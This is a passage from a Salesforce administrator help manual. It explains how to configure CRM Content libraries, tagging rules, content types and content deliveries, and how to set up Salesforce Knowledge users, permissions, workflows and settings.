entering the page number and clicking Enter. This option is not available in full-screen mode.

1502

Customize

Customizing Content Settings

From the right-click menu you can choose the Fit Width option to expand the width of the document or the Fit Full Page option to view the whole page of the document. The fit width icon ( ) and fit full page icon ( ) are also available on the toolbar. From the right-click menu you can choose the Full Screen option to view the document in full screen mode or the Exit option to exit full screen mode. The full screen icon ( ) and exit icon ( ) are also available on the toolbar.

From the right-click menu you can Zoom In or Zoom Out. The zoom-in icon ( ) and zoom-out icon ( ) are also available on the toolbar. You can use the scroll bar to move continuously through a document without needing to click the Next Page and Previous Page icons. Continuous scrolling is not available in preview mode or for PowerPoint documents in any mode. You can use the keyboard arrow keys to navigate page-by-page through a document. Click on the document viewer and use the keys as follows: Right-arrow key: moves a PowerPoint document forward one slide and moves a PDF, Word, or Excel document forward one page. Left-arrow key: moves a PowerPoint document backward one slide and moves a PDF, Word, or Excel document backward one page. Up-arrow key: moves a PowerPoint document forward one slide and scrolls a PDF, Word, or Excel document up the page. Down-arrow key: moves a PowerPoint document backward one slide and scrolls a PDF, Word, or Excel document down the page. Navigating with keyboard-arrow keys is not available in preview mode.

Enable Office 2007 previews in ContentPilot If this option is checked, Microsoft Office 2007 files, including PowerPoint, Word, and Excel can be previewed in their entirety in Salesforce CRM Content and Chatter. In Salesforce CRM Content you do not need to download a large document to determine if its content is relevant to you. The content details page provides document details at a glance, including document title, author, description, tags, libraries, comments, votes, versions, subscribers, and downloads. If the document is a Microsoft PowerPoint, Word, Excel, or Adobe PDF file, you can preview the entire file in your browser without downloading it. Some Microsoft Office 2007 features don't display correctly in previews. Copy-protected PDFs can't be previewed. You can also preview files in Chatter feeds, from the Files tab, from a file detail page, and from group and profile file lists. Note: If this option is unchecked after Office 2007 previews have been generated, those previews will no longer be available.

Show Chatter files in Salesforce CRM Content If this option is checked, searches in Salesforce CRM Content include files from Chatter. The search drop-down list on the Content and Libraries tabs, and the filters on the Content tab include All Files, Chatter Files, and My Chatter Groups.

1503

Customize

Creating Libraries

If this option is not checked, searches in Salesforce CRM Content don't include files from Chatter. The search drop-down list on the Content and Libraries tabs, and the filters on the Content tab include All Libraries, Personal Library, and any shared libraries the user is a member of.

See Also:
Customizing Salesforce CRM Content Uploading and Publishing Content Viewing and Editing Content Details Searching for Content

Creating Libraries
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create libraries: Manage Salesforce CRM Content OR Create Libraries To add members to a library: Manage Salesforce CRM Content OR
Manage Library checked in your library permission

definition To assign library permissions to members: Manage Salesforce CRM Content OR


Manage Library checked in your library permission

definition

Adding a new library in Salesforce CRM Content includes creating the library name and description, adding members to the library, and assigning library permissions that determine each member's privileges within the library. The maximum number of libraries allowed in a single organization is 2,000. Step 1: Creating a New Library 1. 2. 3. 4. Click New in the My Libraries section of the Libraries tab home page. Enter a name for the library. Each library in your organization must have a unique name. Optionally, enter a description for the library. Click the Save and Add Members button or, if you want to add members later, click the Save and Close button.

1504

Customize

Assigning Library Tagging Rules

Step 2: Adding Library Members 1. If you do not immediately see the member you want to add, enter keywords in the search box and click Find. 2. Select members from the Available Members box. Members can include individual Salesforce CRM Content users or public groups containing Salesforce CRM Content users. Tip: If you have a large number of Salesforce CRM Content users, create a public group and add the group to a library rather than adding users to the library individually. 3. Click Add to add the members to the library. 4. Click Next. Step 3: Assigning Library Permissions to Members Select a library permission for each user or public group and click Save. For more information, see Managing Library Permissions on page 1497.

See Also:
Managing Libraries Viewing and Editing Libraries Salesforce CRM Content Overview

Assigning Library Tagging Rules


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To assign a tagging rule to a library: Manage Salesforce CRM Content OR
Manage Libraries checked in your library permission

definition

In Salesforce CRM Content, tags are descriptive labels that help classify and organize content. Contributors can assign tags to their files, content packs, Google docs, or Web links, thus enabling all library members to browse for content by tag. The tagging rule in a library determines how contributors can tag content; for example, the restricted-tagging rule does not allow contributors to create new tags. Library tagging rules are optional. By default, library contributors can enter any tag. To assign a tagging rule to a library: 1. On the Libraries tab, select a library from the My Libraries area. 2. Click Tagging Rules and choose one of the following options:

1505

Customize

Assigning Library Tagging Rules

Library Tagging Rule


Open Tagging

Description This rule places no restrictions on tagging. Contributors can enter any tag when publishing or editing content. While a tag is typed, Salesforce CRM Content autosuggests tags based on the contributor's recently used tags and the Popular Tags list. This rule also enables contributors to enter any tag when publishing or editing content, but contributors are also offered a list of suggested tags. If you select Guided Tagging, the next step prompts you to enter the suggested tags that you want to recommend to library contributors. This rule requires contributors to choose from the list of suggested tags. If you select Restricted Tagging, the next step prompts you to enter the list of suggested tags.

Guided Tagging

Restricted Tagging

3. If you chose Guided Tagging or Restricted Tagging, click the link for auto-populating the Suggested Tags field and then edit, add, or remove tags as needed. If you do not auto-populate the Suggested Tags field, any new tags you enter in the field are added to the existing list of suggested tags in the library. 4. Click Save. Notes on Library Tagging Rules
Open Tagging is the default tagging rule.

If you publish, share, or move content to a library that uses restricted tags, you will receive an error if your content contains unsupported tags. When you share content from one library to another, the most restrictive tagging rule applies. For example: When content is shared between a restricted-tagging library and a guided- or restricted-tagging library, you can only choose tags that are common to both libraries. When content is shared between an open tagging library and a restricted-tagging library, you can only choose tags suggested in the restricted-tagging library.

If a restricted tagging rule is applied after content has already been published in the library and the existing content contains tags that are no longer permitted by the rule, the tags remain assigned to the content until it is edited or revised. For example, if the Q3Forecast document has a market indicators tag and market indicators is not a suggested tag according to the new restricted-tagging rule, market indicators is removed from Q3Forecast only when a user publishes a new version of the file or edits the file's tags on the content details page. Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and subscribe. Therefore, excessive tagging creates unnecessary clutter. You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag. Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters. The case of the original tag is always used.

See Also:
Viewing and Editing Libraries Creating Libraries

1506

Customize

Restricting Content Types

Restricting Content Types


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To restrict content types: Manage Content Types OR Manage Salesforce CRM Content

Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are available during the publishing process and how the fields display on the content details page. If multiple content types are available in a library, users select a content type after contributing files, content packs, Google docs, or Web links. Administrators can create content types in Setup and then choose which content types are available in a particular library. Administrators can also choose the default content type for a library. To restrict the content types available in a library: 1. 2. 3. 4. 5. On the Libraries tab, select a library from the My Libraries area. Click Content Types. Optionally, change the default content type for the library. Select the Restrict the content types available in the library checkbox. Select one or both of the following options:
Allow content with any content type to be linked to this librarySelect this option if you

want to enable content published in other libraries to be shared to the library where you have restricted content types. The content in other libraries can be shared regardless of the content types used. Do not apply content type restrictions to existing contentSelect this option if you do not want to receive warnings regarding existing content in the library. You will not be alerted if existing content uses content types that you exclude from the library. This option refers to notifications only; existing content is not affected by restricted content types.

6. For each content type that you want to allow in the library, move it from the Available Content Types list to the Selected Content Types list. 7. Click Save. Notes on Restricting Content Types If the library already contains published content, selecting the Restrict the content types available in the library option automatically moves all the content types used by the published content to the Selected Content Types list. Deselecting the Restrict the content types available in the library option automatically moves any content types in the Selected Content Types list to the Available Content Types list. If you restrict content types, the default content type must be added to the Selected Content Types list. When changing a file's managing library, the file's content type must be permitted in the new managing library.

1507

Customize

Setting up Content Deliveries

When sharing a file into a library, the file's content type must be permitted in the shared library unless the Allow content with any content type to be linked to this library option is selected for the shared library.

See Also:
Viewing and Editing Libraries Setting Content Types Creating Libraries

Setting up Content Deliveries


Available in: All Editions except Database.com

User Permissions Needed To enable or disable content deliveries: Customize Application

A content delivery allows you to easily convert documents such as Microsoft PowerPoint and Word files into an optimized web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient, such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how long the delivery is available to viewers and whether a viewer can download a file or see it online only. Content deliveries can be created from the Content Deliveries related list on most Salesforce objects. Salesforce CRM Content users can also create a content delivery from the content details page or the Related Content related list. To enable or disable content deliveries for your organization: 1. Click Your Name > Setup > Customize > Content Deliveries > Settings and select or deselect the Enable content deliveries checkbox. If you dont have access to the Content Delivery feature, contact Salesforce Customer Support to activate it. 2. To let users create and share links to Chatter files, click Enable Chatter file links. For more information, see Sharing Files via Link on page 2552. 3. To let recipients of content deliveries preview Office 2007 files: a. b. c. d. Click Your Name > Setup > Customize > Salesforce CRM Content > Settings. Click Enable Office 2007 previews in content. Click Your Name > Setup > Customize > Content Deliveries > Settings. Click Enable recipients to preview Office 2007 content deliveries.

Some Microsoft Office 2007 features don't display correctly in previews. 4. Choose a default option for content-delivery passwords. Because content-delivery URLs can be sent to leads, customers, or any unauthenticated user, salesforce.com, inc. recommends requiring password protection if your users will send confidential documents via content delivery. The options below allow you to select an organization-wide default for content-delivery password protection.

1508

Customize

Setting up Content Deliveries

Password protection is optional and defaults to OFFIf this option is selected, users can choose to require a password when they create a content delivery, but the Require Password to Access Content field on the create-delivery wizard is not checked by default. Password protection is optional and defaults to ONIf this option is selected, the Require Password to Access Content field on the create delivery wizard is checked by default. Users can uncheck the option if they do not want to require a password. Password protection is requiredIf this option is selected, a password is generated each time a content delivery is created. Users cannot opt out of the password requirement. Note: If you choose to require a password, users who create a content delivery will receive a password when the delivery is generated; users must send the password and the delivery URL to delivery recipients. Delivery recipients are prompted for the password when they click the content delivery URL. Content delivery passwords display with the content-delivery URL when the delivery is created. You can also access the password on the delivery detail page for the life of the content delivery.

When content delivery is enabled, all users should add the Content Deliveries related list to their page layouts for leads, business accounts, contacts, opportunities, cases, campaigns, or custom objects. All Salesforce CRM Content users will see a Deliver Content option on each content details page. For detailed instructions on creating a content delivery, see Creating Content Deliveries on page 307. Implementation Tips To ensure quality of service, the total number of content-delivery views allowed within a 24-hour period is limited to 20,000. Also, the amount of bandwidth allocated to content deliveries is limited to 1 GB within a 24-hour period. If a recipient tries to view a delivery when a rate limit has been exceeded, a notification displays that asks the viewer to try again later. Salesforce may be able to increase rate limits on an exception basis. For more information, contact your sales representative. When you create a content delivery, Salesforce copies the original file and creates a new version of that file specifically for online viewing. Note the following information concerning supported file types: Microsoft Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files are supported for online views. Adobe PDF files are supported for online views, but copy-protected PDFs are not. JPG, BMP, GIF, and PNG are supported for online views. Any document over 25 MB is not supported for online views.

You can create a content delivery with any file type, but if the file type is not supported for online viewing, your recipient can only download the document in its original file format. Always preview your content delivery before sending the URL to recipients. In some cases, formatting in the original file, such as colors and non-standard fonts, may not display properly in the online version. If you are not happy with the quality of the online version, the content delivery wizard gives you the option of making your content available for download in its original file format. Content deliveries require Adobe Flash version 9.0.115. If a recipient does not have Flash installed, a download option displays. Customer Portal and partner portal users cannot create content deliveries. Only the creator of a content delivery can delete the delivery record or edit details such as the expiration date. Each time a content delivery's URL is clicked, Salesforce records the click as one view and distinguishes between internal and external views. An internal view is a view by a Salesforce user, for example, clicking the delivery URL on the delivery

1509

Customize

Setting up Content Deliveries

detail page or the View option on the Content Deliveries related list is an internal view. The Content Deliveries related list provides a count of all views for each delivery. Open the delivery details page to see information about a specific view. Note: For password-protected content deliveries, a view is recorded when the recipient clicks on the delivery URL regardless of whether he or she enters the password and views the delivery. To delete a Salesforce CRM Content file that is associated with a content delivery, first delete the content delivery. Salesforce CRM Content users can deliver content from shared libraries or a personal library.

Best Practices After creating a content delivery, always preview it before sending the URL to your recipients to ensure that the formatting in the original file displays properly in the online version. For example, colors and non-standard fonts may not display properly in the preview player. If you are not happy with the quality of the online version, click Previous and choose to make your content available in its original file format or as a PDF file only. Your recipients will be able to download the file, and you can track whether the file was downloaded on the delivery detail page. Animation and timings in PowerPoint files are not supported in the content delivery's online version. Hyperlinks in all file types are also unsupported. See the implementation tips for a complete list of supported file types. If you are a Salesforce CRM Content user and want recipients of your content delivery to always see the latest version of a file rather than the version available on the delivery-creation date, open the delivery detail page and click Edit. Select the Content Delivery Opens Latest Version checkbox. If you select Notify Me of First View or Download, you will receive an email when the content delivery is viewed for the first time.

Storage Implications In Salesforce CRM Content, file storage is consumed when content is published to shared libraries or saved to a private library. Creating content deliveries does not have an additional affect on storage limits, but users who frequently upload files to their personal libraries for the purpose of content delivery should consider their organization's file-storage limits. Administrators can use reporting to identify which users are consuming the most storage and which files are largest in size. For non-Salesforce CRM Content users, file storage is consumed each time a content delivery is created. Once uploaded to Salesforce, a file cannot be reused for multiple content deliveries. Creating multiple content deliveries with the same file requires uploading the file each time. Deleting a content delivery deletes the source file in Salesforce, thus increasing file-storage space. For information about storage limits, see Monitoring Resources on page 769.

See Also:
Viewing and Editing Content Deliveries Salesforce CRM Content Overview

1510

Customize

Content Delivery Fields

Content Delivery Fields


Available in: All Editions except Database.com Salesforce CRM Content available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

The following table provides a description of the fields (in alphabetical order) that make up a content delivery. These fields are located on the create-delivery wizard, the Content Deliveries related list, or the delivery details page. Field
Allow Recipient to View in the Browser

Description If checked, the content delivery can be viewed online in a custom Web page. On the delivery details page, this field is labeled Allow View in the Browser. If checked, the content delivery converts Microsoft Word, Excel, and PowerPoint files into PDF files and gives the recipient the option of downloading the PDF. If the file you uploaded was not a PDF, Word, Excel, or PowerPoint file, this option does not appear in the create-delivery wizard. On the delivery details page, this field is labeled Allow Download as PDF. If checked, the content delivery allows recipients to download the original file. In the create-delivery wizard, this field is called Allow Recipient to Download as [file type] where [file type] is the original file's file type, such as .ppt, .pdf, or .doc. For Salesforce CRM Content files, the user who published the file. (Read only) The name assigned to the content delivery. By default, the Content Delivery Name includes the file name and the creation date. For Salesforce CRM Content files, this flag indicates that the recipient of a content delivery sees the most current version of a file. For example, if a file is updated between the delivery-creation date and today's date, a recipient who views the delivery today sees the newest version. A flag that indicates whether access to the content delivery will expire on the expiration date. In the create-delivery wizard, this flag corresponds to the checkbox next to the Remove access to content on field. The user who created the content delivery, including creation date and time. (Read only)

Allow Recipient to Download as PDF

Allow Download in Original Format

Author

Content Delivery Name

Content Delivery Opens Latest Version

Content Delivery Expires

Created By

1511

Customize

Content Delivery Fields

Field
Description

Description For Salesforce CRM Content files, the description provided when the file was published. (Read only) The date on which the content delivery can no longer be viewed. In the create-delivery wizard, this is the date entered in the Remove Access to Content on field. A flag that indicates whether a file in the content delivery was downloaded. For example, if a content delivery includes options to view the content in the browser, download the content in its original file format, and download the content as a PDF file, this flag is checked if the recipient downloads the original file or the PDF file. (Read only) A flag that indicates whether a Salesforce user viewed the content delivery. A view is considered internal if the user opens the delivery URL from within Salesforce, for example by clicking View on the Content Deliveries related list or clicking the delivery URL on the delivery detail page. If the user copies the URL and pastes it into his or her browser, the view is considered external. (Read only) The user who last modified the content delivery, including modification date and time. (Read only) The date and time on which the content delivery was last viewed. A view is one click of the content-delivery URL. (Read only) If checked, the user who created the content delivery receives an email notification the first time the content delivery URL is clicked. The user who owns the content delivery. (Read only) The record that the content delivery is associated with, such as an account, opportunity, or custom object. Users with sharing access to the record can click it to view more details. If checked, the recipient must enter the provided password before viewing the content delivery. The password appears when the content delivery is generated and for the life of the delivery on the delivery detail page. For Salesforce CRM Content files, the title of the file included in the content delivery. (Read only)

Expiration Date

File Downloaded

Internal View

Last Modified By

Last Viewed

Notify Me of First View or Download

Owner Name Related To

Require Password to Access Content

Title

1512

Configuring Salesforce Knowledge

Setting Up Salesforce Knowledge

Field
View Count

Description Total number of views for the content delivery, including internal and external. (Read only)

See Also:
Creating Content Deliveries Viewing and Editing Content Deliveries

CONFIGURING SALESFORCE KNOWLEDGE


Setting Up Salesforce Knowledge
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit users: To create article types and article actions: Manage Users Customize Application AND Manage Salesforce Knowledge To manage synonyms: To create data categories: Manage Synonyms Manage Data Categories

As a knowledge base administrator, getting started involves choosing how your articles will be formatted and published, then making the knowledge base available to authors, reviewers, publishers, and others on your team. After initial setup you can enable numerous settings, such as making articles available to customers, partners, and public website visitors. Before setting up Salesforce Knowledge, make sure that you are a Salesforce Knowledge user: go to Your Name > Personal Setup > Personal Info and ensure that the Knowledge User checkbox is selected. Getting Started with Salesforce Knowledge Complete the following steps to enable Salesforce Knowledge in your organization: 1. Click Your Name > Setup > Customize > Knowledge > Article Types and create one or more article types.

1513

Customize

Setting Up Salesforce Knowledge

Note: Before users can access article types, an administrator must set object permissions for article types. For more information, see Object Permissions on page 594. 2. Click Your Name > Setup > Customize > Knowledge > Settings. Confirm that you want to enable Salesforce Knowledge and click Enable Knowledge. 3. Select your general settings. Select Allow users to create and edit articles from the Articles tab to enable users to edit articles without going to the Article Management tab. Users can click Edit an article to open the article edit page. If a published version of the article already exists, they have the option to view the published version or edit the current version. If a draft version exists, they can continue with editing the existing draft, but should carefully review the draft so that they dont overwrite unpublished changes. Select Activate Validation Status field to add a Validation Status field to all Salesforce Knowledge articles. Select Allow users to add external multimedia content to HTML in the standard editor to allow <iframe> elements in the standard editor to embed multimedia content from the Dailymotion, Vimeo, and YouTube websites.

4. Select at least one option under Article Summaries. Internal App Customer Portal Partner Portal

5. Choose a Default Knowledge Base Language. This is the language your authors will use to write most of the articles. We recommend that your Default Knowledge Base Language and your organization's language be the same. 6. If your Knowledge base supports multiple languages, select Multiple Languages, add the languages supported, and adjust their settings. Note: You cant remove a language once it is added.

7. Optionally, select your Case Settings. Allow users to create an article from a case. Choose either the simple or standard editor and define the default article type, assignee, and any Apex customization. Use a profile to create article PDFs. Allow users to share articles via public URLs.

8. Optionally, check Allow users to create an article from a reply to create articles from replies in Answers. 9. Click Save. Complete the following steps to give internal users the ability to manage and view articles: 1. Create the category groups and individual categories that authors will assign to articles. Categories help agents, customers, partners, and visitors find articles in the knowledge base. See Managing Data Categories on page 1629 for more details. 2. After setting up your data categories, you can control article visibility based on category. By default, Salesforce Knowledge users have access to all articles associated with any category. To restrict article visibility, see Editing Category Group Visibility on page 1640. 3. Give internal users access to Salesforce Knowledge by assigning each user a Salesforce Knowledge feature license: a. Click Your Name > Setup > Manage Users > Users. b. Click Edit next to the user's name or click New to create a new user. c. Select the Knowledge User checkbox.

1514

Customize

Overview of Setting Up Salesforce Knowledge Users

Note: For instructions on giving portal users access to Salesforce Knowledge, see Enabling Salesforce Knowledge in the Customer Portal on page 3685 and Enabling Salesforce Knowledge in the Partner Portal on page 3685.

4. Verify that each user has the appropriate Salesforce Knowledge user permissions enabled. For more information see Granting Permissions for Salesforce Knowledge Users on page 1516. 5. Make the Article Management and Articles tabs visible by adding them to a custom app or instructing your users to add the Article Management or Articles tab to an existing tab set. Note the following: All users with access to Salesforce Knowledge can see the Articles tab. Users with the Manage Articles user permission can see the Article Management tab.

See Also:
Salesforce Knowledge Overview Creating a Public Knowledge Base with Salesforce Knowledge Salesforce Knowledge Implementation Guide Granting Permissions for Salesforce Knowledge Users Creating and Assigning Salesforce Knowledge Users and Groups Customizing Salesforce Knowledge

Overview of Setting Up Salesforce Knowledge Users


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit users: To create article types and article actions: Manage Users Customize Application AND Manage Salesforce Knowledge

To give people in your company access to various features in Salesforce Knowledge, you need to create Knowledge user profiles with the appropriate user permissions, and then assign users to these profiles. In addition, you need to specify which users in your company areSalesforce Knowledge users. Optionally, you may want to create public groups for certain article actions, such as publishing, translating, or archiving. Granting Permissions for Salesforce Knowledge Users Creating and Assigning Salesforce Knowledge Users (Optional) Assigning Article Actions to Public Groups

1515

Customize

Granting Permissions for Salesforce Knowledge Users

Granting Permissions for Salesforce Knowledge Users


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit users: To create article types and article actions: Manage Users Customize Application AND Manage Salesforce Knowledge

User permissions control access to different features in Salesforce Knowledge. We recommend using permission sets or custom profiles to grant users the permissions they need. For example, you might want to create a permission set called Article Manager that includes the permissions needed to create, edit, publish, and assign articles. When creating Salesforce Knowledge profiles, keep the following in mind. Users who will create article types, manage article actions, and modify settings in Your Name > Setup > Customize > Knowledge need the Manage Salesforce Knowledge permission. This permission is on by default in the System Administrator profile. Users who will search for and view articles from the Articles tab need the Read permission for the article types they need to access. Users who will edit draft articles, manage the publishing process, or manage the translation process need the Manage Articles permission and the appropriate article type permissions. Manage Articles is on by default in the System Administrator profile. Users with the Manage Articles permission are assigned all article actions automatically. Article actions allow users to do things like publish and archive articles or manage the translation process. Users who will create data categories need the Manage Data Categories permission. This permission is on by default in the System Administrator profile. Users who will import articles or import or export translations need the Read, Create, Edit, and Delete permissions.

Refer to this table for details on permissions associated with Salesforce Knowledge functionality. The full permission names are as follows: Manage Salesforce Knowledge = MSK Manage Articles = MA Manage Knowledge Article Import/Export = MKAIE Permissions Salesforce Knowledge Functionality Create article type Manage article actions MSK MA MKAIE Article Type-Specific Permissions Read Create Edit Delete Other Article Action

1516

Customize

Granting Permissions for Salesforce Knowledge Users

Permissions Salesforce Knowledge Functionality Create new article from case using the simple editor Create new article from case using the standard editor Search articles from case and attach articles to case Create new article from answer Search for and read articles from Article tab Create or edit article from Article Management tab Edit draft article from Article Management tab Delete article (version or entire) from Article Management tab Publish article from Article Management tab Assign article from Article Management tab Edit published or archived article Archive article from Article Management tab Submit articles for translation Delete translated articles Publish translated articles Edit translated articles Import articles Import and export translated articles MSK MA MKAIE

Article Type-Specific Permissions Read Create Edit Delete

Other Article Action

See Also:
Creating and Assigning Salesforce Knowledge Users and Groups Setting Up Salesforce Knowledge Overview of User Permissions and Access

1517

Customize

Creating and Assigning Salesforce Knowledge Users and Groups

Creating and Assigning Salesforce Knowledge Users and Groups


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create or edit users: To create article types and article actions: Manage Users Customize Application AND Manage Salesforce Knowledge

Creating and Assigning Salesforce Knowledge Users The Salesforce Knowledge feature license is indicated by the Knowledge User checkbox on the user detail page. If it does not appear, verify that your organization has purchased enough feature licenses. To create or assign Salesforce Knowledge users: 1. 2. 3. 4. 5. 6. Click Your Name > Setup > Manage Users > Users. Click Edit next to the user's name or click New to create a new user. If you are creating a new user, complete all the required fields. Select the Knowledge User checkbox. Verify that the user has the required permissions. See Granting Permissions for Salesforce Knowledge Users. Click Save. Note: To create portal users, see About Customer Portal User Management on page 1783 or About Partner Portal User Management on page 3701. Public knowledge base visitors do not require authenticated access once the public knowledge base has been created. Assigning Article Actions to Public Groups The Manage Articles user permission provides Salesforce Knowledge users with access to all the article actions available from the Article Management tab, including publishing, translating, and archiving articles. You can control article action access by assigning public groups to article actions. Then, you add Salesforce Knowledge users who need to perform an article action to the article action's public group. For example, you might create a public group called Superusers and assign it to the Delete Translated Articles action. Only article managers who are members of Superuser can delete translated articles. See Assigning Article Actions to Public Groups on page 1540 for more information on limiting access to article actions by assigning them to public groups.

1518

Customize

Creating Salesforce Knowledge Workflow Rules and Approval Processes

Creating Salesforce Knowledge Workflow Rules and Approval Processes


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To view workflow rules and approval processes: To create or change workflow rules and approval processes: View Setup and Configuration Customize Application

Creating workflow rules and approval processes lets your organization automate many of the tasks involved with managing its knowledge base. When implementing Salesforce Knowledge, you can create workflow rules and approval processes for some or all of the article types used by your organization. Workflow rules let you create email alerts, update fields, or send outbound API messages when an article meets certain criteria. For example, you could create a workflow rule that sends an email alert to the article type owner when a new article is created from a case. Note that tasks are not supported by article type workflow. Approval processes automate the approval of articles. When implemented with Salesforce Knowledge, approval processes give you additional control over the content of your articles and the process used to approve them. For example, you can create a process that requires legal and management teams to approve articles containing sensitive information. Creating Workflow Rules for Article Types To create workflow rules for article types: 1. 2. 3. 4. Select the object to which the workflow rule applies. Configure the workflow rule settings and criteria. Configure the workflow actions. Activate the workflow rule. Note: Tasks aren't available for article type workflow rules.

Creating Approval Processes for Article Types Before you create an approval process, determine which wizard to use. For more information, see Choosing an Approval Process Wizard on page 1925. To create an approval process: 1. 2. 3. 4. 5. 6. 7. 8. Launch the Approval Process Wizard. Specify Name, Unique Name, and Description. Specify Criteria for Entering Process. Specify Approver Field and Record Editability. Select Email or Chatter Post Notification Template. Configure Approval Request Page Layout. Specify Initial Submitters. Activate the Approval Process.

1519

Customize

Creating Salesforce Knowledge Workflow Rules and Approval Processes

Tips for Creating Approval Processes


Keep the following in mind when creating approval processes for article types. Adding an approval process to an article type lets your organization ensure that the required reviewers approve the article before it's published. When an approval process is enabled for an article's article type, the Approval History related list displays on the article details page. When creating an approval process, change the final approval action to Unlock the record for editing to allow users to publish the article. For more information, see Final Approval Actions on page 1942. Articles aren't published automatically at the end of an approval process. Users must click Publish... to make the article available in the publishing channel(s). When an approval process is associated with an article type, users with the Manage Articles permission might see both the Publish... and the Submit for Approval buttons on an article's detail page. (Which buttons they see is determined by both permissions and article actions). These users can publish an article without submitting it for approval. To prevent this from affecting many users, assign the Publish Articles article action to a limited group of users instead of giving it to all users with the Manage Articles permission. For more information, see Assigning Article Actions to Public Groups on page 1540. You'll still want to make sure that the users with direct publishing capability know which articles need approval before publication. Article approvers require the Manage Articles permission and at least the Read permission on the article type associated with articles they review. These permissions let them access the article in a draft state. Without these permissions, approvers can reassign but not approve articles. Workflow rules and approval processes apply to the Draft to Publication portion of the article publishing cycle. Approval processes aren't available for translation or archiving. Note: When an article is published from the edit page, the article is first saved and then published. Workflow rules apply to the saved draft article but not the published article.

See Also:
Approval Processes Overview Approval Process Considerations Notes on Using Workflow Rules Setting Up Salesforce Knowledge

1520

Customize

Creating and Activating Knowledge Actions

Creating and Activating Knowledge Actions


Knowledge actions are templates that link a workflow action to an article type. Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Salesforce Knowledge Actions: Customize Application

When knowledge actions are enabled, you can use them to link article types to specific workflow article actions, such as publishing. For example, if you want to have each FAQ published as a new version each time it completes the approval process, you can create a knowledge action that links the FAQ article type to the Publish as New action. Then, when you create an approval process for FAQs, select the new Knowledge Action. Note: When you create the approval process, make sure to change the final approval action to Unlock the record for editing to let users publish the article. To maximize memory usage when publishing large groups of articles, Salesforce may delay publication and adds the articles to the publication queue. This happens when the number of articles and translations multiplied by the number of rich text areas is greater than 100. You can view the publishing queue to check the status of the articles on the Automated Process Actions page. 1. Click Your Name > Setup > Create > Workflow & Approvals > Knowledge Actions. 2. Click New Knowledge Action. 3. Select the article type for the action. The workflow rules and approval process that you associate with the action must belong to the same article type. 4. Enter a unique name for the knowledge action. 5. Select the type of action you want to apply to the article type. For example, Publish as New publishes the article as a new version. 6. Enter a description. 7. Click Save. The Knowledge Action detail page appears showing you the rules and approval processes that use the knowledge action. 8. When youre ready to use the knowledge action in an approval or workflow process, click Activate on the Knowledge Action detail page.

See Also:
Creating Salesforce Knowledge Workflow Rules and Approval Processes

1521

Customize

Customizing Salesforce Knowledge

Customizing Salesforce Knowledge


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create article types and article actions: Customize Application AND Manage Salesforce Knowledge To manage synonyms: To create data categories: Manage Synonyms Manage Data Categories

Depending on how you want to customize Salesforce Knowledge, such as integrating the knowledge base with cases or giving portal users access to articles, complete the following optional steps. Set up workflow rules or approvals processes for some or all article types to help your organization manage article creation and publication. Enable multiple languages if your organization will translate and publish articles in more than one language. If you have an existing knowledge base, import your articles into Salesforce Knowledge. Enable Salesforce Knowledge in the Customer Portal to make articles visible to portal users. Enable Salesforce Knowledge in the partner portal to make articles visible to portal users. Create a synonym group to allow Salesforce Knowledge users to search for articles using synonyms as keywords. Add the Articles related list to case page layouts. The Articles related list lets users search for articles while working on a case. You can also allow case users to: Attach PDF versions of articles to case emails. Create articles when closing a case. View a list of suggested articles based on case information. To allow users to follow articles in Chatter, enable feed tracking for article types. If you want visitors to your public website to view Salesforce Knowledge articles, install the Sample Public Knowledge Base for Salesforce Knowledge app from the AppExchange. For detailed instructions, see Creating a Public Knowledge Base with Salesforce Knowledge.

1522

Customize

Customizing Salesforce Knowledge Settings

Customizing Salesforce Knowledge Settings


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To enable Salesforce Knowledge: Customize Application

Note: Before enabling Salesforce Knowledge, you must create at least one article type.

Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find and view the articles they need. For more information, see Salesforce Knowledge Overview. Click Your Name > Setup > Customize > Knowledge > Settings. If Salesforce Knowledge has not been enabled in your organization, an Enable Knowledge option is available. If Salesforce Knowledge is already enabled, you can configure the following optional settings. Allow users to create and edit articles from the Articles tab If this checkbox is selected, users can create and edit articles from the Articles tab. Activate the Validation Status field for articles When you activate the Validation Status field, users can select values to show whether the content of the article has been validated or not. Allow users to add external multi-media content to the standard HTML editor If this checkbox is selected, users can cut and paste <iframe> HTML to embed multi-media content from the following sites: Dailymotion, Vimeo, and YouTube. Show article summaries in article list views For each channel, decide whether an article's Summary details should display on the Articles tab. Choose the language(s) for your knowledge base The Default Knowledge-Base Language should be the primary language used for writing articles. It defaults to your organization's language. If you will publish articles in more than one language, select Multiple Languages and choose the translation settings. For instructions, see Setting up a Multilingual Knowledge Base on page 1568. Allow users to create an article from a case If this checkbox is selected, users can create a draft article that is attached to the case when the article is published using one of the following options. Create articles using the simple editor only when closing cases. Create articles using the standard editor any time a user creates an article. Make sure that users have Manage Articles, Read, and Create permissions.

1523

Customize

Customizing Salesforce Knowledge Settings

